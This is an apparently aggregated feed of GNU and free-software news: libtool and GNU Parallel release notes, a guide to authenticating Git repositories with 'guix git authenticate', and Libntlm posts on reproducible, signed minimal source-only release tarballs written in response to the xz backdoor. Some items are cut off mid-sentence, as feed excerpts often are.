'-fno-sanitize*', '-Werror', and 'prefix-map' flags.
Pass the '-no-canonical-prefixes' linker flag.
Pass '-fopenmp=*' for Clang to allow choosing between libgomp and
libomp.
Pass '-shared-libsan', '-static-libsan', 'rtlib=', and
'unwindlib=' for Clang.
Expanded process.h inclusion on Windows for more than the
proprietary MSVC compiler. Other alternative Windows compilers
also require process.h.
Pass 'elf32_x86_64' and 'elf64_x86_64' to the linker on hurd-amd64.
Recognize --windows* config triplets.
** Important incompatible changes:
Removed test_compile from command line options.
By default executables are created with the RUNPATH property for
the Android linker. RUNPATH works for libraries which are not
installed in system locations.
Removed AC_PROG_SED fallback, as the macro has been supported
in Autoconf since the 90's.
** Bug fixes:
Check for space after -l, -L, and -R linker flags.
Updated documentation for tests, the demo directory, and
elsewhere.
Fixed Solaris 11 builds.
Clean trailing "/" from sysroot path.
Fixed shared library builds for System V.
Added mingw to the list of systems not requiring libm.
Fixed support for nios2 systems.
Fixed linker check for '--whole-archive' support for linkers other
than ld.
Use -Fe instead of -o with MSVC to avoid deprecation warnings.
Improved reproducibility of libtool scripts.
Avoided MinGW warning by adding CRTIMP.
Improved grep portability.
Fixed cross-building warnings when checking for file.
** Changes in supported systems or compilers:
Removed support for bitrig (--bitrig*).
Added support for flang (Fortran LLVM-based) compilers.
You clone a Git repository, then pull from it. How can you tell itscontents are “authentic”—i.e., coming from the “genuine” project youthink you’re pulling from, written by the fine human beings you’ve beenworking with? With commit signatures and “verified” badges ✅flourishing, you’d think this has long been solved—but nope!
Four years after Guix deployed its owntool to allowusers to authenticate updates fetched with guix pull (which uses Gitunder the hood), the situation hasn’t changed all that much: the vastmajority of developers using Git simply do not authenticate the codethey pull. That’s pretty bad. It’s the modern-day equivalent ofsharing unsigned tarballs and packages like we’d blissfully do in thepast century.
The authentication mechanism Guix uses forchannelsis available to any Git user through the guix git authenticatecommand. This post is a guide for Git users who are not necessarilyGuix users but are interested in using this command for their ownrepositories. Before looking into the command-line interface and how weimproved it to make it more convenient, let’s dispel anymisunderstandings or misconceptions.
Why you should careWhen you run git pull, you’re fetching a bunch of commits from aserver. If it’s over HTTPS, you’re authenticating the server itself,which is nice, but that does not tell you who the code actually comesfrom—the server might be compromised and an attacker pushed code to therepository. Not helpful. At all.
But hey, maybe you think you’re good because everyone on your project issigning commits and tags, and because you’re disciplined, you routinelyrun git log --show-signature and check those “Good signature” GPGmessages. Maybe you even have those fancy “✅ verified” badges as foundonGitLaband onGitHub.
Signing commits is part of the solution, but it’s not enough toauthenticate a set of commits that you pull; all it shows is that,well, those commits are signed. Badges aren’t much better: the presenceof a “verified” badge only shows that the commit is signed by theOpenPGP key currently registered for the corresponding GitLab/GitHubaccount. It’s another source of lock-in and makes the hosting platforma trusted third-party. Worse, there’s no notion of authorization (whichkeys are authorized), let alone tracking of the history of authorizationchanges (which keys were authorized at the time a given commit wasmade). Not helpful either.
Being able to ensure that when you run git pull, you’re getting codethat genuinely comes from authorized developers of the project isbasic security hygiene. Obviously it cannot protect against efforts toinfiltrate a project to eventually get commit access and insertmalicious code—the kind of multi-year plot that led to the xzbackdoor—but if you don’t evenprotect against unauthorized commits, then all bets are off.
Authentication is something we naturally expect from apt update,pip, guix pull, and similar tools; why not treat git pull to thesame standard?
Initial setupThe guix git authenticatecommand authenticates Git checkouts, unsurprisingly. It’s currentlypart of Guix because that’s where it was brought to life, but it can beused on any Git repository. This section focuses on how to use it; youcan learn about the motivation, its design, and its implementation inthe 2020 blogpost, in the 2022peer-reviewed academic paper entitled Building a Secure SoftwareSupply Chain withGNU Guix,or in this 20mnpresentation.
To support authentication of your repository with guix git authenticate, you need to follow these steps:
Enable commit signing on your repo: git config commit.gpgSign true. (Git now supports other signing methods but here we needOpenPGP signatures.)
Create a keyring branch containing all the OpenPGP keys of allthe committers, along these lines:
git checkout --orphan keyringgit reset --hardgpg --export alice@example.org > alice.keygpg --export bob@example.org > bob.key…git add *.keygit commit -m "Add committer keys."
All the files must end in .key. You must never remove keys fromthat branch: keys of users who left the project are necessary toauthenticate past commits.
3. Back to the main branch, add a .guix-authorizations file, listingthe OpenPGP keys of authorized committers—we’ll get back to itsformat below.
4. Commit! This becomes the introductory commit from whichauthentication can proceed. The introduction of your repositoryis the ID of this commit and the OpenPGP fingerprint of the keyused to sign it.
That’s it. From now on, anyone who clones the repository canauthenticate it. The first time, run:
guix git authenticate COMMIT SIGNER
… where COMMIT is the commit ID of the introductory commit, andSIGNER is the OpenPGP fingerprint of the key used to sign that commit(make sure to enclose it in double quotes if there are spaces!). As arepo maintainer, you must advertise this introductory commit ID andfingerprint on a web page or in a README file so others know what topass to guix git authenticate.
The commit and signer are now recorded on the first run in.git/config; next time, you can run it without any arguments:
guix git authenticate
The other new feature is that the first time you run it, the commandinstalls pre-push and pre-merge hooks (unless preexisting hooks arefound) such that your repository is automatically authenticated fromthere on every time you run git pull or git push.
guix git authenticate exits with a non-zero code and an error messagewhen it stumbles upon a commit that lacks a signature, that is signed bya key not in the keyring branch, or that is signed by a key not listedin .guix-authorizations.
Maintaining the list of authorized committersThe .guix-authorizations file in the repository is central: it liststhe OpenPGP fingerprints of authorized committers. Any commit that isnot signed by a key listed in the .guix-authorizations file of itsparent commit(s) is considered inauthentic—and an error is reported.The format of.guix-authorizationsis based on S-expressionsand looks like this:
;; Example ‘.guix-authorizations’ file.(authorizations (version 0) ;current file format version (("AD17 A21E F8AE D8F1 CC02 DBD9 F8AE D8F1 765C 61E3" (name "alice")) ("2A39 3FFF 68F4 EF7A 3D29 12AF 68F4 EF7A 22FB B2D5" (name "bob")) ("CABB A931 C0FF EEC6 900D 0CFB 090B 1199 3D9A EBB5" (name "charlie"))))
The name bits are hints and do not have any effect; what matters isthe fingerprints that are listed. You can obtain them with GnuPG byrunning commands like:
gpg --fingerprint charlie@example.org
At any time you can add or remove keys from .guix-authorizations andcommit the changes; those changes take effect for child commits. Forexample, if we add Billie’s fingerprint to the file in commit A, thenBillie becomes an authorized committer in descendants of commit A(we must make sure to add Billie’s key as a file in the keyringbranch, too, as we saw above); Billie is still unauthorized in branchesthat lack A. If we remove Charlie’s key from the file in commit B,then Charlie is no longer an authorized committer, except in branchesthat start before B. This should feel rather natural.
That’s pretty much all you need to know to get started! Check themanualfor more info.
All the information needed to authenticate the repository is containedin the repository itself—it does not depend on a forge or key server.That’s a good property to allow anyone to authenticate it, to ensuredeterminism and transparency, and to avoid lock-in.
Interested? You can help!guix git authenticate is a great tool that you can start using todayso you and fellow co-workers can be sure you’re getting the right code!It solves an important problem that, to my knowledge, hasn’t really beenaddressed by any other tool.
Maybe you’re interested but don’t feel like installing Guix “just” forthis tool. Maybe you’re not into Scheme and Lisp and would rather use atool written in your favorite language. Or maybe you think—andrightfully so—that such a tool ought to be part of Git proper.
That’s OK, we can talk! We’re open to discussing with folks who’d liketo come up with alternative implementations—check out the articlesmentioned above if you’d like to take that route. And we’re open tocontributing to a standardization effort. Let’s get intouch!
AcknowledgmentsThanks to Florian Pelz and Simon Tournier for their insightful commentson an earlier draft of this post.
If you are developer on a package that uses GNU gnulib as part of its build system:
gnulib-tool has been known for being slow for many years. We have listened to your complaints. We have rewritten gnulib-tool in another programming language (Python). It is between 8 times and 100 times faster than the previous implementation.
Both implementations behave identically, that is, produce the same generated files and the same output. Nothing changes in your way to use Gnulib; it's only faster.
In order to reap the new speed:
Make sure you have Python (version 3.7 or newer) installed on your machine.
Update your gnulib checkout. (For some packages, it comes as a git submodule named 'gnulib'.) Like this:
$ git checkout master
$ git pull
Set the environment variable GNULIB_SRCDIR, pointing to this checkout.
If the package is using a git submodule named 'gnulib', it is also advisable to do
Can't wait for the start of LibrePlanet 2024: Cultivating Community? Same here. To sweeten the wait, we have interviewed David Wilson, one of the keynote speakers and the creator of the System Crafters channel and community.
GNU Parallel 20240422 ('Børsen') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
I’m a big fan of GNU parallel!
-- Scott Cain @scottjcain@twitter
New in this release:
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
If you are developer on a package that uses GNU gnulib as part of its build system:
gnulib-tool has been known for being slow for many years. We have listened to your complaints. A rewrite of gnulib-tool in another programming language (Python) is ready for beta-testing. It is between 8 times and 100 times faster than the original gnulib-tool.
Both implementations should behave identically, that is, produce the same generated files and the same output. You can help us ensure this, through the following steps:
Make sure you have Python (version 3.7 or newer) installed on your machine.
Update your gnulib checkout. (For some packages, it comes as a git submodule named 'gnulib'.) Like this:
$ git checkout master
$ git pull
Set the environment variable GNULIB_SRCDIR, pointing to this checkout.
If the package is using a git submodule named 'gnulib', it is also advisable to do
I will be delivering my talk, "It is easy to contribute to GNU," Saturday, May 4, 2024, 12:15--13:00 EDT (16:00 UTC), at the LibrePlanet 2024 conference, and I hope you’ll check it out!
LibrePlanet is a conference about software freedom, happening on May 4 & 5, 2024. The event is hosted by the Free Software Foundation (FSF), and brings together software developers, law and policy experts, activists, students, and computer users to learn skills, celebrate free software accomplishments, and face upcoming challenges. Newcomers are always welcome, and LibrePlanet 2024 will feature programming for all ages and experience levels.
With the release of Libntlm version 1.8 the release tarball can be reproduced on several distributions. We also publish a signed minimal source-only tarball, produced by git-archive which is the same format used by Savannah, Codeberg, GitLab, GitHub and others. Reproducibility of both tarballs are tested continuously for regressions on GitLab through a CI/CD pipeline. If that wasn’t enough to excite you, the Debian packages of Libntlm are now built from the reproducible minimal source-only tarball. The resulting binaries are reproducible on several architectures.
What does that even mean? Why should you care? How you can do the same for your project? What are the open issues? Read on, dear reader…
This article describes my practical experiments with reproducible release artifacts, following up on my earlier thoughts that lead to discussion on Fosstodon and a patch by Janneke Nieuwenhuizen to make Guix tarballs reproducible that inspired me to some practical work.
Let’s look at how a maintainer release some software, and how a user can reproduce the released artifacts from the source code. Libntlm provides a shared library written in C and uses GNU Make, GNU Autoconf, GNU Automake, GNU Libtool and gnulib for build management, but these ideas should apply to most project and build system. The following illustrate the steps a maintainer would take to prepare a release:
git clone https://gitlab.com/gsasl/libntlm.gitcd libntlmgit checkout v1.8./bootstrap./configuremake distcheckgpg -b libntlm-1.8.tar.gz
The generated files libntlm-1.8.tar.gz and libntlm-1.8.tar.gz.sig are published, and users download and use them. This is how the GNU project have been doing releases since the late 1980’s. That is a testament to how successful this pattern has been! These tarballs contain source code and some generated files, typically shell scripts generated by autoconf, makefile templates generated by automake, documentation in formats like Info, HTML, or PDF. Rarely do they contain binary object code, but historically that happened.
The XZUtils incident illustrate that tarballs with files that are not included in the git archive offer an opportunity to disguise malicious backdoors. I blogged earlier how to mitigate this risk by using signed minimal source-only tarballs.
The risk of hiding malware is not the only motivation to publish signed minimal source-only tarballs. With pre-generated content in tarballs, there is a risk that GNU/Linux distributions such as Trisquel, Guix, Debian/Ubuntu or Fedora ship generated files coming from the tarball into the binary *.deb or *.rpm package file. Typically the person packaging the upstream project never realized that some installed artifacts was not re-built through a typical autoconf -fi && ./configure && make install sequence, and never wrote the code to rebuild everything. This can also happen if the build rules are written but are buggy, shipping the old artifact. When a security problem is found, this can lead to time-consuming situations, as it may be that patching the relevant source code and rebuilding the package is not sufficient: the vulnerable generated object from the tarball would be shipped into the binary package instead of a rebuilt artifact. For architecture-specific binaries this rarely happens, since object code is usually not included in tarballs — although for 10+ years I shipped the binary Java JAR file in the GNU Libidn release tarball, until I stopped shipping it. For interpreted languages and especially for generated content such as HTML, PDF, shell scripts this happens more than you would like.
Publishing minimal source-only tarballs enable easier auditing of a project’s code, to avoid the need to read through all generated files looking for malicious content. I have taken care to generate the source-only minimal tarball using git-archive. This is the same format that GitLab, GitHub etc offer for the automated download links on git tags. The minimal source-only tarballs can thus serve as a way to audit GitLab and GitHub download material! Consider if/when hosting sites like GitLab or GitHub has a security incident that cause generated tarballs to include a backdoor that is not present in the git repository. If people rely on the tag download artifact without verifying the maintainer PGP signature using GnuPG, this can lead to similar backdoor scenarios that we had for XZUtils but originated with the hosting provider instead of the release manager. This is even more concerning, since this attack can be mounted for some selected IP address that you want to target and not on everyone, thereby making it harder to discover.
With all that discussion and rationale out of the way, let’s return to the release process. I have added another step here:
make srcdistgpg -b libntlm-1.8-src.tar.gz
Now the release is ready. I publish these four files in the Libntlm’s Savannah Download area, but they can be uploaded to a GitLab/GitHub release area as well. These are the SHA256 checksums I got after building the tarballs on my Trisquel 11 aramo laptop:
91de864224913b9493c7a6cec2890e6eded3610d34c3d983132823de348ec2ca libntlm-1.8-src.tar.gzce6569a47a21173ba69c990965f73eb82d9a093eb871f935ab64ee13df47fda1 libntlm-1.8.tar.gz
So how can you reproduce my artifacts? Here is how to reproduce them in a Ubuntu 22.04 container:
podman run -it --rm ubuntu:22.04apt-get updateapt-get install -y --no-install-recommends autoconf automake libtool make git ca-certificatesgit clone https://gitlab.com/gsasl/libntlm.gitcd libntlmgit checkout v1.8./bootstrap./configuremake dist srcdistsha256sum libntlm-*.tar.gz
You should see the exact same SHA256 checksum values. Hooray!
This works because Trisquel 11 and Ubuntu 22.04 uses the same version of git, autoconf, automake, and libtool. These tools do not guarantee the same output content for all versions, similar to how GNU GCC does not generate the same binary output for all versions. So there is still some delicate version pairing needed.
Ideally, the artifacts should be possible to reproduce from the release artifacts themselves, and not only directly from git. It is possible to reproduce the full tarball in a AlmaLinux 8 container – replace almalinux:8 with rockylinux:8 if you prefer RockyLinux:
podman run -it --rm almalinux:8dnf update -ydnf install -y make wget gccwget https://download.savannah.nongnu.org/releases/libntlm/libntlm-1.8.tar.gztar xfa libntlm-1.8.tar.gzcd libntlm-1.8./configuremake distsha256sum libntlm-1.8.tar.gz
The source-only minimal tarball can be regenerated on Debian 11:
podman run -it --rm debian:11apt-get updateapt-get install -y --no-install-recommends make git ca-certificatesgit clone https://gitlab.com/gsasl/libntlm.gitcd libntlmgit checkout v1.8make -f cfg.mk srcdistsha256sum libntlm-1.8-src.tar.gz
As the Magnus Opus or chef-d’œuvre, let’s recreate the full tarball directly from the minimal source-only tarball on Trisquel 11 – replace docker.io/kpengboy/trisquel:11.0 with ubuntu:22.04 if you prefer.
podman run -it --rm docker.io/kpengboy/trisquel:11.0apt-get updateapt-get install -y --no-install-recommends autoconf automake libtool make wget git ca-certificateswget https://download.savannah.nongnu.org/releases/libntlm/libntlm-1.8-src.tar.gztar xfa libntlm-1.8-src.tar.gzcd libntlm-v1.8./bootstrap./configuremake distsha256sum libntlm-1.8.tar.gz
Yay! You should now have great confidence in that the release artifacts correspond to what’s in version control and also to what the maintainer intended to release. Your remaining job is to audit the source code for vulnerabilities, including the source code of the dependencies used in the build. You no longer have to worry about auditing the release artifacts.
I find it somewhat amusing that the build infrastructure for Libntlm is now in a significantly better place than the code itself. Libntlm is written in old C style with plenty of string manipulation and uses broken cryptographic algorithms such as MD4 and single-DES. Remember folks: solving supply chain security issues has no bearing on what kind of code you eventually run. A clean gun can still shoot you in the foot.
Side note on naming: GitLab exports tarballs with pathnames libntlm-v1.8/ (i.e.., PROJECT-TAG/) and I’ve adopted the same pathnames, which means my libntlm-1.8-src.tar.gz tarballs are bit-by-bit identical to GitLab’s exports and you can verify this with tools like diffoscope. GitLab name the tarball libntlm-v1.8.tar.gz (i.e., PROJECT-TAG.ARCHIVE) which I find too similar to the libntlm-1.8.tar.gz that we also publish. GitHub uses the same git archive style, but unfortunately they have logic that removes the ‘v’ in the pathname so you will get a tarball with pathname libntlm-1.8/ instead of libntlm-v1.8/ that GitLab and I use. The content of the tarball is bit-by-bit identical, but the pathname and archive differs. Codeberg (running Forgejo) uses another approach: the tarball is called libntlm-v1.8.tar.gz (after the tag) just like GitLab, but the pathname inside the archive is libntlm/, otherwise the produced archive is bit-by-bit identical including timestamps. Savannah’s CGIT interface uses archive name libntlm-1.8.tar.gz with pathname libntlm-1.8/, but otherwise file content is identical. Savannah’s GitWeb interface provides snapshot links that are named after the git commit (e.g., libntlm-a812c2ca.tar.gz with libntlm-a812c2ca/) and I cannot find any tag-based download links at all. Overall, we are so close to get SHA256 checksum to match, but fail on pathname within the archive. I’ve chosen to be compatible with GitLab regarding the content of tarballs but not on archive naming. From a simplicity point of view, it would be nice if everyone used PROJECT-TAG.ARCHIVE for the archive filename and PROJECT-TAG/ for the pathname within the archive. This aspect will probably need more discussion.
Side note on git archive output: It seems different versions of git archive produce different results for the same repository. The version of git in Debian 11, Trisquel 11 and Ubuntu 22.04 behave the same. The version of git in Debian 12, AlmaLinux/RockyLinux 8/9, Alpine, ArchLinux, macOS homebrew, and upcoming Ubuntu 24.04 behave in another way. Hopefully this will not change that often, but this would invalidate reproducibility of these tarballs in the future, forcing you to use an old git release to reproduce the source-only tarball. Alas, GitLab and most other sites appears to be using modern git so the download tarballs from them would not match my tarballs – even though the content would.
Side note on ChangeLog: ChangeLog files were traditionally manually curated files with version history for a package. In recent years, several projects moved to dynamically generate them from git history (using tools like git2cl or gitlog-to-changelog). This has consequences for reproducibility of tarballs: you need to have the entire git history available! The gitlog-to-changelog tool also output different outputs depending on the time zone of the person using it, which arguable is a simple bug that can be fixed. However this entire approach is incompatible with rebuilding the full tarball from the minimal source-only tarball. It seems Libntlm’s ChangeLog file died on the surgery table here.
So how would a distribution build these minimal source-only tarballs? I happen to help on the libntlm package in Debian. It has historically used the generated tarballs as the source code to build from. This means that code coming from gnulib is vendored in the tarball. When a security problem is discovered in gnulib code, the security team needs to patch all packages that include that vendored code and rebuild them, instead of merely patching the gnulib package and rebuild all packages that rely on that particular code. To change this, the Debian libntlm package needs to Build-Depends on Debian’s gnulib package. But there was one problem: similar to most projects that use gnulib, Libntlm depend on a particular git commit of gnulib, and Debian only ship one commit. There is no coordination about which commit to use. I have adopted gnulib in Debian, and add a git bundle to the *_all.deb binary package so that projects that rely on gnulib can pick whatever commit they need. This allow an no-network GNULIB_URL and GNULIB_REVISION approach when running Libntlm’s ./bootstrap with the Debian gnulib package installed. Otherwise libntlm would pick up whatever latest version of gnulib that Debian happened to have in the gnulib package, which is not what the Libntlm maintainer intended to be used, and can lead to all sorts of version mismatches (and consequently security problems) over time. Libntlm in Debian is developed and tested on Salsa and there is continuous integration testing of it as well, thanks to the Salsa CI team.
Side note on git bundles: unfortunately there appears to be no reproducible way to export a git repository into one or more files. So one unfortunate consequence of all this work is that the gnulib *.orig.tar.gz tarball in Debian is not reproducible any more. I have tried to get Git bundles to be reproducible but I never got it to work — see my notes in gnulib’s debian/README.source on this aspect. Of course, source tarball reproducibility has nothing to do with binary reproducibility of gnulib in Debian itself, fortunately.
One open question is how to deal with the increased build dependencies that is triggered by this approach. Some people are surprised by this but I don’t see how to get around it: if you depend on source code for tools in another package to build your package, it is a bad idea to hide that dependency. We’ve done it for a long time through vendored code in non-minimal tarballs. Libntlm isn’t the most critical project from a bootstrapping perspective, so adding git and gnulib as Build-Depends to it will probably be fine. However, consider if this pattern was used for other packages that uses gnulib such as coreutils, gzip, tar, bison etc (all are using gnulib) then they would all Build-Depends on git and gnulib. Cross-building those packages for a new architecture will therefor require git on that architecture first, which gets circular quick. The dependency on gnulib is real so I don’t see that going away, and gnulib is a Architecture:all package. However, the dependency on git is merely a consequence of how the Debian gnulib package chose to make all gnulib git commits available to projects: through a git bundle. There are other ways to do this that doesn’t require the git tool to extract the necessary files, but none that I found practical — ideas welcome!
Finally some brief notes on how this was implemented. Enabling bootstrappable source-only minimal tarballs via gnulib’s ./bootstrap is achieved by using the GNULIB_REVISION mechanism, locking down the gnulib commit used. I have always disliked git submodules because they add extra steps and has complicated interaction with CI/CD. The reason why I gave up git submodules now is because the particular commit to use is not recorded in the git archive output when git submodules is used. So the particular gnulib commit has to be mentioned explicitly in some source code that goes into the git archive tarball. Colin Watson added the GNULIB_REVISION approach to ./bootstrap back in 2018, and now it no longer made sense to continue to use a gnulib git submodule. One alternative is to use ./bootstrap with --gnulib-srcdir or --gnulib-refdir if there is some practical problem with the GNULIB_URL towards a git bundle the GNULIB_REVISION in bootstrap.conf.
The srcdist make rule is simple:
git archive --prefix=libntlm-v1.8/ -o libntlm-v1.8.tar.gz HEAD
Making the make dist generated tarball reproducible can be more complicated, however for Libntlm it was sufficient to make sure the modification times of all files were set deterministically to the timestamp of the last commit in the git repository. Interestingly there seems to be a couple of different ways to accomplish this, Guix doesn’t support minimal source-only tarballs but rely on a .tarball-timestamp file inside the tarball. Paul Eggert explained what TZDB is using some time ago. The approach I’m using now is fairly similar to the one I suggested over a year ago. If there are problems because all files in the tarball now use the same modification time, there is a solution by Bruno Haible that could be implemented.
Side note on git tags: Some people may wonder why not verify a signed git tag instead of verifying a signed tarball of the git archive. Currently most git repositories uses SHA-1 for git commit identities, but SHA-1 is not a secure hash function. While current SHA-1 attacks can be detected and mitigated, there are fundamental doubts that a git SHA-1 commit identity uniquely refers to the same content that was intended. Verifying a git tag will never offer the same assurance, since a git tag can be moved or re-signed at any time. Verifying a git commit is better but then we need to trust SHA-1. Migrating git to SHA-256 would resolve this aspect, but most hosting sites such as GitLab and GitHub does not support this yet. There are other advantages to using signed tarballs instead of signed git commits or git tags as well, e.g., tar.gz can be a deterministically reproducible persistent stable offline storage format but .git sub-directory trees or git bundles do not offer this property.
Doing continous testing of all this is critical to make sure things don’t regress. Libntlm’s pipeline definition now produce the generated libntlm-*.tar.gz tarballs and a checksum as a build artifact. Then I added the 000-reproducability job which compares the checksums and fails on mismatches. You can read its delicate output in the job for the v1.8 release. Right now we insists that builds on Trisquel 11 match Ubuntu 22.04, that PureOS 10 builds match Debian 11 builds, that AlmaLinux 8 builds match RockyLinux 8 builds, and AlmaLinux 9 builds match RockyLinux 9 builds. As you can see in pipeline job output, not all platforms lead to the same tarballs, but hopefully this state can be improved over time. There is also partial reproducibility, where the full tarball is reproducible across two distributions but not the minimal tarball, or vice versa.
If this way of working plays out well, I hope to implement it in other projects too.
Stow 2.4.0 has been released. This release contains some much-wanted bug-fixes — specifically, fixing the --dotfiles option to work with dot-foo directories, and avoiding a spurious warning when unstowing. There were also very many clean-ups and improvements, mostly internal and not visible to users. See http://git.savannah.gnu.org/cgit/stow.git/tree/NEWS for more details.
In this blog, we're sharing with you all the ways you can socialize and participate in LibrePlanet 2024: Cultivating Community outside of the official program.
While the work to analyze the xz backdoor is in progress, several ideas have been suggested to improve the software supply chain ecosystem. Some of those ideas are good, some of the ideas are at best irrelevant and harmless, and some suggestions are plain bad. I’d like to attempt to formalize two ideas, which have been discussed before, but the context in which they can be appreciated have not been as clear as it is today.
Reproducible tarballs. The idea is that published source tarballs should be possible to reproduce independently somehow, and that this should be continuously tested and verified — preferrably as part of the upstream project continuous integration system (e.g., GitHub action or GitLab pipeline). While nominally this looks easy to achieve, there are some complex matters in this, for example: what timestamps to use for files in the tarball? I’ve brought up this aspect before.
Minimal source tarballs without generated vendor files. Most GNU Autoconf/Automake-based tarballs pre-generated files which are important for bootstrapping on exotic systems that does not have the required dependencies. For the bootstrapping story to succeed, this approach is important to support. However it has become clear that this practice raise significant costs and risks. Most modern GNU/Linux distributions have all the required dependencies and actually prefers to re-build everything from source code. These pre-generated extra files introduce uncertainty to that process.
My strawman proposal to improve things is to define new tarball format *-src.tar.gz with at least the following properties:
The tarball should allow users to build the project, which is the entire purpose of all this. This means that at least all source code for the project has to be included.
The tarballs should be signed, for example with PGP or minisign.
The tarball should be possible to reproduce bit-by-bit by a third party using upstream’s version controlled sources and a pointer to which revision was used (e.g., git tag or git commit).
The tarball should not require an Internet connection to download things.
Corollary: every external dependency either has to be explicitly documented as such (e.g., gcc and GnuTLS), or included in the tarball.
Observation: This means including all *.po gettext translations which are normally downloaded when building from version controlled sources.
The tarball should contain everything required to build the project from source using as much externally released versioned tooling as possible. This is the “minimal” property lacking today.
Corollary: This means including a vendored copy of OpenSSL or libz is not acceptable: link to them as external projects.
Open question: How about non-released external tooling such as gnulib or autoconf archive macros? This is a bit more delicate: most distributions either just package one current version of gnulib or autoconf archive, not previous versions. While this could change, and distributions could package the gnulib git repository (up to some current version) and the autoconf archive git repository — and packages were set up to extract the version they need (gnulib’s ./bootstrap already supports this via the –gnulib-refdir parameter), this is not normally in place.
Suggested Corollary: The tarball should contain content from git submodule’s such as gnulib and the necessary Autoconf archive M4 macros required by the project.
Similar to how the GNU project specify the ./configure interface we need a documented interface for how to bootstrap the project. I suggest to use the already well established idiom of running ./bootstrap to set up the package to later be able to be built via ./configure. Of course, some projects are not using the autotool ./configure interface and will not follow this aspect either, but like most build systems that compete with autotools have instructions on how to build the project, they should document similar interfaces for bootstrapping the source tarball to allow building.
If tarballs that achieve the above goals were available from popular upstream projects, distributions could more easily use them instead of current tarballs that include pre-generated content. The advantage would be that the build process is not tainted by “unnecessary” files. We need to develop tools for maintainers to create these tarballs, similar to make dist that generate today’s foo-1.2.3.tar.gz files.
I think one common argument against this approach will be: Why bother with all that, and just use git-archive outputs? Or avoid the entire tarball approach and move directly towards version controlled check outs and referring to upstream releases as git URL and commit tag or id. One problem with this is that SHA-1 is broken, so placing trust in a SHA-1 identifier is simply not secure. Another counter-argument is that this optimize for packagers’ benefits at the cost of upstream maintainers: most upstream maintainers do not want to store gettext *.po translations in their source code repository. A compromise between the needs of maintainers and packagers is useful, so this *-src.tar.gz tarball approach is the indirection we need to solve that. Update: In my experiment with source-only tarballs for Libntlm I actually did use git-archive output.
GNU Parallel 20240322 ('Sweden') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU parallel ftw
-- hostux.social/@rmpr @_paulmairo@twitter
New in this release:
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
